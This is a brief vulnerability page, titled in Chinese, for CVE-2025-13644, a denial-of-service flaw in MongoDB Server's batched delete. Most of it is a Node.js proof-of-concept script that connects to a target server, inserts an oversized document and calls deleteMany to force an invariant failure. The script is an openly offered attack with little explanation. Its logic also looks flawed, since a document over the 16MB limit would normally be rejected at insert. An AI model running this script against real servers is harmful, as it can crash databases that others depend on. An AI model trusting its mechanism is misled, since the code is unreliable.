CVE-2025-13644 MongoDB Server批处理删除操作 invariant failure拒绝服务漏洞

// CVE-2025-13644 PoC - MongoDB Batched Delete Invariant Failure // Target: MongoDB Server < 7.0.26, < 8.0.13, < 8.1.2 const { MongoClient } = require('mongodb'); async function triggerVulnerability() { const uri = 'mongodb://target:27017'; const client = new MongoClient(uri); try { await client.connect(); const db = client.db('test'); const collection = db.collection('target_collection'); // Create a document exceeding BSONObjMaxSize (16MB) const largeData = 'A'.repeat(17 * 1024 * 1024); // ~17MB await collection.insertOne({ _id: 'large_doc', data: largeData }); // Attempt batched delete operation to trigger invariant failure // This will cause the server to assume multiple docs based on size await collection.deleteMany({ _id: 'large_doc' }); console.log('PoC executed'); } catch (error) { console.log('Vulnerability triggered or error:', error.message); } finally { await client.close(); } } triggerVulnerability();